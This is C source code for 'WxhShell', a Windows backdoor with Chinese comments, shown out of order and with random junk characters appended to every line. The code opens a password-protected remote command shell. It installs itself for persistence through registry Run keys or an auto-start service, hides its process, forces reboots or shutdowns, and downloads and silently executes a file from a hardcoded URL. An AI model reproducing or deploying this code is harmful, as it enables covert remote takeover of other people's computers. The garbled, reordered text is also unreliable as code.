    if(Boot(SHUTDOWN)) ;(,1pi7|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2%(RB4+  
    else { Z* L{;  
    closesocket(wsh); O)Mf/P'  
    ExitThread(0); ?sm@lDZ\  
    } ;l>C[6]  
    break; |=W=H6h*  
    } nH % 1lD?:  
  // 获取shell J=C63YB  
  case 's': { &i%1\ o  
    CmdShell(wsh); aj)?P  
    closesocket(wsh); @CU~3Md*  
    ExitThread(0); %1jApCJ  
    break; 9 ?~Y  
  } -*r]9f6 x  
  // 退出 jwd{CN%  
  case 'x': { wz(D }N5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yL>wCD,L  
    CloseIt(wsh); auS.q5 %  
    break; ,dO$R.h  
    } n%YG)5;  
  // 离开 =YRN"  
  case 'q': { wu2C!gyBo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 78i"3Tm)w  
    closesocket(wsh); 3Ta<7tEM  
    WSACleanup(); t[-0/-4  
    exit(1); &`J?`l X  
    break; (&a<6k  
        } U DC>iHt  
  } $=-Q]ld&]  
  } "Nn+Zw43  
,$qqHSd1M  
  // 提示信息 8xEOR!\!`k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y4B< ]C4  
} 6b8@6;&LI  
  } @~l?hf  
r\-25F<e5  
  return; S=wJ{?gzAK  
} K{s% h0  
yU@~UCmja  
// shell模块句柄 1xkU;no  
int CmdShell(SOCKET sock) Hw"UJP  
{ 3koXM_4_{)  
STARTUPINFO si; F}lgy;=h  
ZeroMemory(&si,sizeof(si)); M:~/e8Xv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (cj3[qq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #!FLX*,  
PROCESS_INFORMATION ProcessInfo; /@H2m\vBX  
char cmdline[]="cmd"; ~BVK6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [?$|   
  return 0; B !(t<W8cu  
} iZy`5  
|;-,(509  
// 自身启动模式 VhAZncw  
int StartFromService(void) P9p{j1*;  
{ |@-%x.y  
typedef struct A!kNqJ2  
{ Qw$"W/&X  
  DWORD ExitStatus; |m%M$^sZ}  
  DWORD PebBaseAddress; D k'EKT-  
  DWORD AffinityMask; hao0_9q+  
  DWORD BasePriority; >q&Q4E0  
  ULONG UniqueProcessId; t|X |67W  
  ULONG InheritedFromUniqueProcessId; [LonY49  
}   PROCESS_BASIC_INFORMATION; FNDLqf!j  
RTSR-<{z  
PROCNTQSIP NtQueryInformationProcess; %;0w2W  
T$]2U>=<J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2.2Z'$W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?;,Al`/^  
|<.b:e\4  
  HANDLE             hProcess; gkpNT)  
  PROCESS_BASIC_INFORMATION pbi; 0;)6ZU  
W RAW%?$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V=|^r?  
  if(NULL == hInst ) return 0; lO9{S=N  
K]bS:[34 R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ISr~JQr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LIH>IpamN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LeW.uh3.  
O#7ldF(  
  if (!NtQueryInformationProcess) return 0; co3H=#2a  
A*pihBo7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D,eJR(5I  
  if(!hProcess) return 0; ABV\:u  
uz4mHyS6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1#qCD["8  
` OQ&u  
  CloseHandle(hProcess); ~,e!t.339  
2al~`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V8&/O)}o  
if(hProcess==NULL) return 0; V8Q#%#)FHe  
gE=~.P[ZX  
HMODULE hMod; b=T+#Jb  
char procName[255]; /^[)JbgB  
unsigned long cbNeeded; YLd 5  
w#mnGD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +lha^){  
wH Z!t,g  
  CloseHandle(hProcess); hqD;<:.  
*gz{:}NX  
if(strstr(procName,"services")) return 1; // 以服务启动 vB4cdW 2#3  
HHnabSn}{q  
  return 0; // 注册表启动 n'*Ljp  
} QrA8 KSLC  
8)POEY4  
// 主模块 )Elr8XLw  
int StartWxhshell(LPSTR lpCmdLine) =cC]8Pz?  
{ oZCi_g 5i  
  SOCKET wsl; RO.(k!J .  
BOOL val=TRUE; `4EOy:a  
  int port=0; x#8=drh.:C  
  struct sockaddr_in door; MZjiJZaO:L  
hTG d Uw]  
  if(wscfg.ws_autoins) Install(); ''v1Pv-  
h5F'eur  
port=atoi(lpCmdLine); _&%!4n#>  
1M;)$m:  
if(port<=0) port=wscfg.ws_port; :s'%IGy>:  
O[L8(+Sn  
  WSADATA data; iz^wBQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c&Zm>Qo[  
lwg.'<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pWx3l5)R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rbtV,Y  
  door.sin_family = AF_INET; >rFvT>@NU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GO)rpk9  
  door.sin_port = htons(port); n#&RY%#`  
Fp]8f&l8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S-/ #3  
closesocket(wsl); :9h8q"T  
return 1; |Gf{}  
} | fI%L9  
:> q?s  
  if(listen(wsl,2) == INVALID_SOCKET) { ;&!dD6N  
closesocket(wsl); W_ 6Jl5]  
return 1; rOD KM-7+  
} PjP%,-@1  
  Wxhshell(wsl); .~U9*5d  
  WSACleanup();  XGoy#h  
;Pa(nUE@  
return 0; OWjZ)f/  
e"CLhaT  
} \;6F-0  
$ vjmW! O  
// 以NT服务方式启动 P8VU&b\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lX4p'R-h  
{ Ww(_EW  
DWORD   status = 0; I7~|!d6  
  DWORD   specificError = 0xfffffff; 31* 6 ;(  
b tu:@s8ci  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gCJ'wv)6|%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =R'v]SXj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m%V[&"5%e  
  serviceStatus.dwWin32ExitCode     = 0; DsX>xzM  
  serviceStatus.dwServiceSpecificExitCode = 0; `-H:j:U{  
  serviceStatus.dwCheckPoint       = 0; tAA7  
  serviceStatus.dwWaitHint       = 0; V"p<A  
g=C<E2'i*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t4IJ%#22  
  if (hServiceStatusHandle==0) return; }SV3PdE  
_6m3$k_[MJ  
status = GetLastError(); &FrB6 y  
  if (status!=NO_ERROR) u,m-6@ il  
{ HUC2RM?FN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^PQV3\N  
    serviceStatus.dwCheckPoint       = 0; gxOmbQt@;  
    serviceStatus.dwWaitHint       = 0; +_eb*Z`5o  
    serviceStatus.dwWin32ExitCode     = status; vy@Lu cB  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y*k<NeDyn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XX-T",  
    return; V@S/!h+  
  } C.E> )  
.dCP8|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GX)QIe~;qJ  
  serviceStatus.dwCheckPoint       = 0; u mlZ(??.  
  serviceStatus.dwWaitHint       = 0; *?D2gaCta  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -YV4  O  
} > bF!Y]H  
Yd;r8rN  
// 处理NT服务事件,比如:启动、停止 wWw/1i:|'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f^4*.~cB  
{ LtztjAm.  
switch(fdwControl) r$FM8$cJ  
{ l :Nxl  
case SERVICE_CONTROL_STOP: rO$>zdmYHs  
  serviceStatus.dwWin32ExitCode = 0;  -C  ON  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LDEt.,6i  
  serviceStatus.dwCheckPoint   = 0; 9'q/&uH  
  serviceStatus.dwWaitHint     = 0; {H; |G0tR  
  { iFG5%>5F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +~Lzsh"  
  } :5M}Iz7  
  return; |/^aL j^u  
case SERVICE_CONTROL_PAUSE: .eNwC.8i  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ff1B)e  
  break; Z 034wn\N  
case SERVICE_CONTROL_CONTINUE: K}`p_)(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b*F~%K^i$  
  break; @Q\$dneY  
case SERVICE_CONTROL_INTERROGATE: Jf<yTAm  
  break; tc <M]4-  
}; yr9A0F0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sQAc"S  
} Zmbz-##HQ  
(vsk^3R[6  
// 标准应用程序主函数 kqigFcz!Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E'S;4B5?  
{ Xb@z7X#O!  
wu!_BCIy  
// 获取操作系统版本 d<GG (  
OsIsNt=GetOsVer(); uxMy 1oy  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ENXW#{N.v  
uM)9b*Vbo  
  // 从命令行安装 0/P-> n~  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ $+f3Z'  
8wpwJs&V  
  // 下载执行文件 7R<u=U  
if(wscfg.ws_downexe) { EXW 6yXLV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZYR,8y  
  WinExec(wscfg.ws_filenam,SW_HIDE); [^d6cMEOlc  
} EM 54  
w4fJ`,  
if(!OsIsNt) { "o#)vA`  
// 如果时win9x,隐藏进程并且设置为注册表启动 4R*<WdT(  
HideProc(); zGL<m0C  
StartWxhshell(lpCmdLine); N<Z)b!o%u  
} U~#^ ^  
else X:SzkkVl7  
  if(StartFromService()) w[ YkTv  
  // 以服务方式启动 4`!  
  StartServiceCtrlDispatcher(DispatchTable); jU4)zN/`r  
else j&[3Be'pQ  
  // 普通方式启动 "E ok;io  
  StartWxhshell(lpCmdLine); Av v  
n L+YL  
return 0; \p@nH%@v  
} Tu= eQS|'  
0(U3~ k6  
bV )PT`-,  
+NLQYuN  
=========================================== Q9eYF-+  
zN)|g  
jWv3O&+?X  
yNqm]H3<MP  
@u"kX2>Eq  
Jp.3KA>  
" d)hzi  
vA2,&%jw  
#include <stdio.h> [!:-m61  
#include <string.h> ~aqT~TL_  
#include <windows.h> `Dz]z_  
#include <winsock2.h> [TbG55  
#include <winsvc.h> ]U#[\ Z  
#include <urlmon.h> @wEKCn|}o  
*2"bG1`  
#pragma comment (lib, "Ws2_32.lib") FU]8.)`G  
#pragma comment (lib, "urlmon.lib") 8t T&BmT  
9 N*S-Po=  
#define MAX_USER   100 // 最大客户端连接数 eHR&N.2  
#define BUF_SOCK   200 // sock buffer  VNr  
#define KEY_BUFF   255 // 输入 buffer #!8^!}nFO  
%2Xus9;k#  
#define REBOOT     0   // 重启 ]uStn   
#define SHUTDOWN   1   // 关机 P^K?E  
je- , S>U  
#define DEF_PORT   5000 // 监听端口 _gPVmGG  
aeuf, #  
#define REG_LEN     16   // 注册表键长度 ^(dGO)/  
#define SVC_LEN     80   // NT服务名长度 kwDh|K  
"q9~ C  
// 从dll定义API zt)p`kdD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G!!-+n<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o;M.Rt\A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B91S h`  
ueWR/  
// wxhshell配置信息  l5ZADK4  
struct WSCFG { #sz]PZ\  
  int ws_port;         // 监听端口 SZim>@R  
  char ws_passstr[REG_LEN]; // 口令 jy\W_CT  
  int ws_autoins;       // 安装标记, 1=yes 0=no _KSfP7VU  
  char ws_regname[REG_LEN]; // 注册表键名 QQ^Gd8nQ  
  char ws_svcname[REG_LEN]; // 服务名 J^+_8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 g:3d<CS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pY{; Yn&t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?r -\%_J_(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~ V@xu{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :DOr!PNA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6)=](VmNL`  
7af?E)}v  
}; H$NP1^5!  
90  
// default Wxhshell configuration +8LM~voB  
struct WSCFG wscfg={DEF_PORT, Pcs^@QP  
    "xuhuanlingzhe", ! 6p>P4TT  
    1, }G>v]bV0V  
    "Wxhshell", >:w?qEaE  
    "Wxhshell", B,~f "  
            "WxhShell Service", EpRXjz  
    "Wrsky Windows CmdShell Service", /M0l p   
    "Please Input Your Password: ", a(PjcQ4dY  
  1, ~mN g[]  
  "http://www.wrsky.com/wxhshell.exe", ^-gfib|VGe  
  "Wxhshell.exe" r5f^WZ$-  
    }; Zij"/gx\  
Pk$}%;@v  
// 消息定义模块 T{_1c oL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <T(s\N5B=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ShC_hi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $cRcap  
char *msg_ws_ext="\n\rExit."; UJ7'JBT=k  
char *msg_ws_end="\n\rQuit."; pBlRd{#fL  
char *msg_ws_boot="\n\rReboot..."; ?cqicN.+6  
char *msg_ws_poff="\n\rShutdown..."; * <B)Z  
char *msg_ws_down="\n\rSave to "; ?"()>PJx  
p G)9=X!9  
char *msg_ws_err="\n\rErr!"; zt7_r`#z  
char *msg_ws_ok="\n\rOK!"; Z 6 tE{/  
kxwNbxC  
char ExeFile[MAX_PATH]; /6Y0q9  
int nUser = 0; RxlszyE  
HANDLE handles[MAX_USER]; ]b}B~jD  
int OsIsNt; W\HLal  
TcR=GR*cJ  
SERVICE_STATUS       serviceStatus; BmJkt3j."  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x$~3$E  
*y)4D[ z-  
// 函数声明 $8jaapNm@  
int Install(void); 6a7vlo  
int Uninstall(void); uQ{=o]sy  
int DownloadFile(char *sURL, SOCKET wsh); EC<5M5Lc  
int Boot(int flag); MKomq  
void HideProc(void); BTO A &Ag  
int GetOsVer(void); cN62M=**  
int Wxhshell(SOCKET wsl); |a%B|CX  
void TalkWithClient(void *cs); )X7e$<SU*  
int CmdShell(SOCKET sock); OWqrD@  
int StartFromService(void); U?^OD  
int StartWxhshell(LPSTR lpCmdLine); q5%2WM]6  
Tj Mb>w9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F|,6N/;!W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |pBMrN+is  
+yGY 785b  
// 数据结构和表定义 <}&7 a s  
SERVICE_TABLE_ENTRY DispatchTable[] = \xF;{}v  
{ HC?0Lj  
{wscfg.ws_svcname, NTServiceMain}, w %;hl#s  
{NULL, NULL} ,E%1Uq"  
}; UIQQ \,3  
hBjVe?{  
// 自我安装 WPtMds4  
int Install(void) wcwQjHwd  
{ J6DnPaw-G  
  char svExeFile[MAX_PATH]; 5!t b$p#z  
  HKEY key; 6eM6[  
  strcpy(svExeFile,ExeFile); l"kx r96  
=9^Q"t4  
// 如果是win9x系统,修改注册表设为自启动 Mxo6fn6-46  
if(!OsIsNt) { _$8{;1$T?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .?B{GnB>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k5wi'  
  RegCloseKey(key); p'gb)nI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o!=WFAi[pX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); inZi3@h)T  
  RegCloseKey(key); `YU=~xQ  
  return 0; %Z7%jma  
    } kff ZElV  
  } <~N%W#z/  
} ;@9e\!%  
else { t-!m vx9Z  
M'DWu|dIBA  
// 如果是NT以上系统,安装为系统服务 wYjQ V?,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9qr UM`z$g  
if (schSCManager!=0) Ew]<jF|.#  
{ 2 Kl a8  
  SC_HANDLE schService = CreateService g,=^'D  
  ( mL$f[  
  schSCManager, e=7W 7^"_  
  wscfg.ws_svcname, h8jB=e, H  
  wscfg.ws_svcdisp, -6`;},Yr  
  SERVICE_ALL_ACCESS, wdwp9r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yy hny[fa9  
  SERVICE_AUTO_START, };r|}v !~_  
  SERVICE_ERROR_NORMAL, 4%J|DcY2  
  svExeFile, f TO+ZTRqf  
  NULL, ?Wa<AFXQ  
  NULL, w.uK?A>W,  
  NULL, B6MkF"J<  
  NULL, U-g9C.  
  NULL W$'0Dc  
  ); yj zK.dM  
  if (schService!=0) Xu#:Fe}:  
  { kYlg4 .~M  
  CloseServiceHandle(schService); B.*"Xfr8  
  CloseServiceHandle(schSCManager); `%=<R-/#7S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2m"_z  
  strcat(svExeFile,wscfg.ws_svcname); MM gx|"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +c) TDH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $;`I,k$0>~  
  RegCloseKey(key); CTp!di|  
  return 0; 1TZPef^y  
    } 0x~`5h  
  } NR3`M?Hjf  
  CloseServiceHandle(schSCManager); DP*@dFU"  
} hcyO97@r  
} ;LQ9#M?  
mU@xc N  
return 1; V!&P(YO:  
} Qx t@ V  
55m<XC  
// 自我卸载 ,{KCY[}|  
int Uninstall(void) Q7GY3X*kA  
{ !d8A  
  HKEY key; ,2,5Odrz  
6(KmA-!b(O  
if(!OsIsNt) { ^npJUa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &{z<kmc$6  
  RegDeleteValue(key,wscfg.ws_regname); cp%ii'  
  RegCloseKey(key); 0^&!6R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z0* %Rq  
  RegDeleteValue(key,wscfg.ws_regname); Uf$i3  
  RegCloseKey(key); c!wtf,F  
  return 0; y LM"+.?pL  
  } _Y!sVJ){,c  
} u #~ ;&D*q  
} ST;t, D:  
else { A 5nO=  
> 0.W`j(s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c\.P/~  
if (schSCManager!=0) "HlgRp]u  
{ 'jjb[{g^}}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ][7p+IsB  
  if (schService!=0) >]?H`>4(  
  { =k{`oO~:9+  
  if(DeleteService(schService)!=0) { BX< dSK  
  CloseServiceHandle(schService); }V`mp  
  CloseServiceHandle(schSCManager); yI)~]K r  
  return 0; >NM\TLET~  
  } D7 ?C  
  CloseServiceHandle(schService); !')y&7a~  
  } L CSeOR  
  CloseServiceHandle(schSCManager); &.N $  
} 0rE(p2  
} 0X9Y~TM%  
UVEz;<5@\  
return 1; lA;a  
} $nPAm6mH  
;3m!:l  
// 从指定url下载文件 ig_2={Q@  
int DownloadFile(char *sURL, SOCKET wsh) ziEz.Wn"  
{ Q+$Tt7/  
  HRESULT hr; } !s!;BOx  
char seps[]= "/"; I021p5h|  
char *token; {9 PR()_  
char *file; uT_!'l$fr  
char myURL[MAX_PATH]; kB P*K  
char myFILE[MAX_PATH]; +R.N%_  
ra6o>lI(,  
strcpy(myURL,sURL); w4:\N U  
  token=strtok(myURL,seps); GWP dv  
  while(token!=NULL) csQfic  
  { 3,eIB(  
    file=token; 0ejdKdYN  
  token=strtok(NULL,seps); :Vuf6,  
  } _GoVx=t   
d- E4~)Qy  
GetCurrentDirectory(MAX_PATH,myFILE); HOi C  
strcat(myFILE, "\\"); TMVryb  
strcat(myFILE, file); Oejq@iM"(  
  send(wsh,myFILE,strlen(myFILE),0); ktH8as^54!  
send(wsh,"...",3,0); t+TYb#Tc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E~hzh /,34  
  if(hr==S_OK) JXU2CyMY  
return 0; "ZMkL)'7-  
else 1|Q vN1?  
return 1; -9Ws=r0R  
Q<"[C 1Lj  
} >cR)?P/o  
\h{r;#g  
// 系统电源模块 RW7(r/C  
int Boot(int flag) Ff4*IOZ}(  
{ ` %?9=h%  
  HANDLE hToken; " Ar*QJ0]  
  TOKEN_PRIVILEGES tkp; ?Dsm~bkX[  
-$a>f4]  
  if(OsIsNt) { kCP$I732  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "^CXY3v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Hw:E71h2  
    tkp.PrivilegeCount = 1; {rH9grb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HZ"Evl|n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9IZu$-  
if(flag==REBOOT) { 6`H.%zM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'c`jyn  
  return 0; cPF<D$B  
} 2j&@ p>  
else { /CX VLl8~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NucM+r1P  
  return 0; e$/B_o7(  
} a}nbo4jK  
  } ~Pf5ORoe  
  else { t}p@:'  
if(flag==REBOOT) { g:)DNy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x5si70BKC/  
  return 0; ^>$P)=O:v  
} ^HA %q8| n  
else { vA%^`5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #;tT8[Ewuw  
  return 0; yX/";Oe  
} i8pU|VpA  
} v> z@  
@9G- m(?*  
return 1; Z@rN_WXx  
} 773/#c  
6tjcAsV  
// win9x进程隐藏模块 2&(sa0*y  
void HideProc(void) |$lwkC)O  
{ N=1JhjVk"  
90N`CXas  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A2H4k|8  
  if ( hKernel != NULL ) -p,x&h,p  
  { GUB`|is^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u' Qd,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h1"zV6U  
    FreeLibrary(hKernel); .V'V:;BE%  
  } .w? .ib(  
jFG0`n}I  
return; F phDF  
} ] gb=  
9l/EjF^  
// 获取操作系统版本 "E=j|q  
int GetOsVer(void) g=)J~1&p  
{ k!XhFWb  
  OSVERSIONINFO winfo; Ju` [m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z+:D)L  
  GetVersionEx(&winfo); K`:=]Z8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `(4pu6uT  
  return 1; h rN%  
  else ww d'0P`/  
  return 0; Kf,-4)  
} bMoAD.}  
5"Kx9n|  
// 客户端句柄模块 _Tm0x>EM  
int Wxhshell(SOCKET wsl) "i)Yvh[y  
{ 8%{q%+  
  SOCKET wsh; P1zK2sL_  
  struct sockaddr_in client; ,\PVC@xJ  
  DWORD myID; ?h\mk0[  
x<(b|2qf  
  while(nUser<MAX_USER) %kI} [6J_  
{ PFSLyV*  
  int nSize=sizeof(client); 25{ uz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h5%|meZQb  
  if(wsh==INVALID_SOCKET) return 1; ak:v3cQR  
p QE)p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v@ C,RP9  
if(handles[nUser]==0) i^Ut015q%  
  closesocket(wsh); ,8Iv9M}2  
else .q`{Dgc~  
  nUser++; V-O(U*]  
  } Dma.r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0`#(Toe{B  
BuQ|~V  
  return 0; P8yIegPY  
} Y Z}cB  
- Xupq/[,  
// 关闭 socket l)8&Ip  
void CloseIt(SOCKET wsh) 8Cf|*C+_'  
{ T`YwJ6N  
closesocket(wsh); jRZ%}KX  
nUser--; :>3=gex@^0  
ExitThread(0); ('k<XOi  
} GY!C|7kN  
s'I)A^i+  
// 客户端请求句柄 {a q9i  
void TalkWithClient(void *cs) &V=7D#L  
{ 3x*z\VJ  
-e-e9uP  
  SOCKET wsh=(SOCKET)cs; <>&=n+i  
  char pwd[SVC_LEN]; fZryG  
  char cmd[KEY_BUFF]; fjz) Gp  
char chr[1]; S\C*iGeqJ  
int i,j; l[h'6+o  
m)>&ZIXa  
  while (nUser < MAX_USER) { 9(1rh9`=  
qt?*MyfV  
if(wscfg.ws_passstr) { J\co1kO9/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +c,[ Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $xW **&  
  //ZeroMemory(pwd,KEY_BUFF); wrv5V M}  
      i=0; 2Oc$+St~8  
  while(i<SVC_LEN) { ?m%h`<wgMc  
Buc_9Kzw<+  
  // 设置超时 Pe^ !$  
  fd_set FdRead; 4iX-(ir,  
  struct timeval TimeOut; t 0O4GcAN  
  FD_ZERO(&FdRead); y;`eDS'0.N  
  FD_SET(wsh,&FdRead); W Ox_y,  
  TimeOut.tv_sec=8; pWaPC /,g  
  TimeOut.tv_usec=0; #a~"K|' G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )c<6Sfp^B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !c(QSf502  
RIy\u >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ocA]M=3~k  
  pwd=chr[0]; CY"i-e"q<Q  
  if(chr[0]==0xd || chr[0]==0xa) { V0i9DK|!  
  pwd=0; MWwJzVL8  
  break; K b(9)Re  
  } BSUPS+@+  
  i++; !$xu(D.  
    } Z5)eREi=  
vgG}d8MW37  
  // 如果是非法用户,关闭 socket ! q6hC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &r_uQbx  
} Gp2!xKgm  
ExhL[1E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +<(a}6dt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .]t5q%}j  
4<gJ2a3  
while(1) { #BJ\{"b_}z  
h8v>zNf'  
  ZeroMemory(cmd,KEY_BUFF); /6tcSg)  
>{&A%b4JF  
      // 自动支持客户端 telnet标准   X#J6Umutm  
  j=0; vA>W9OI   
  while(j<KEY_BUFF) { h7W}OF_=y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GW m4~]0E  
  cmd[j]=chr[0]; wq\G|/%  
  if(chr[0]==0xa || chr[0]==0xd) { $$gtZ{ukQ  
  cmd[j]=0; :YvbU Y  
  break; Q<=Y  
  } lo:~aJ8  
  j++; f%Ke8'&  
    } 19I:%$U3  
TVkcDS  
  // 下载文件 *\q8BZ  
  if(strstr(cmd,"http://")) { mK\aI  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uWc:jP  
  if(DownloadFile(cmd,wsh)) myvh@@N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #93}E Y  
  else H@W0gK(cS;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %zljH"F  
  } \R Z3Hh  
  else { otnV-7)@  
,y.3Fe  
    switch(cmd[0]) { V/-MIH7SF  
  (j N]OE^  
  // 帮助 dXZP[K#  
  case '?': { {3 o% d:  
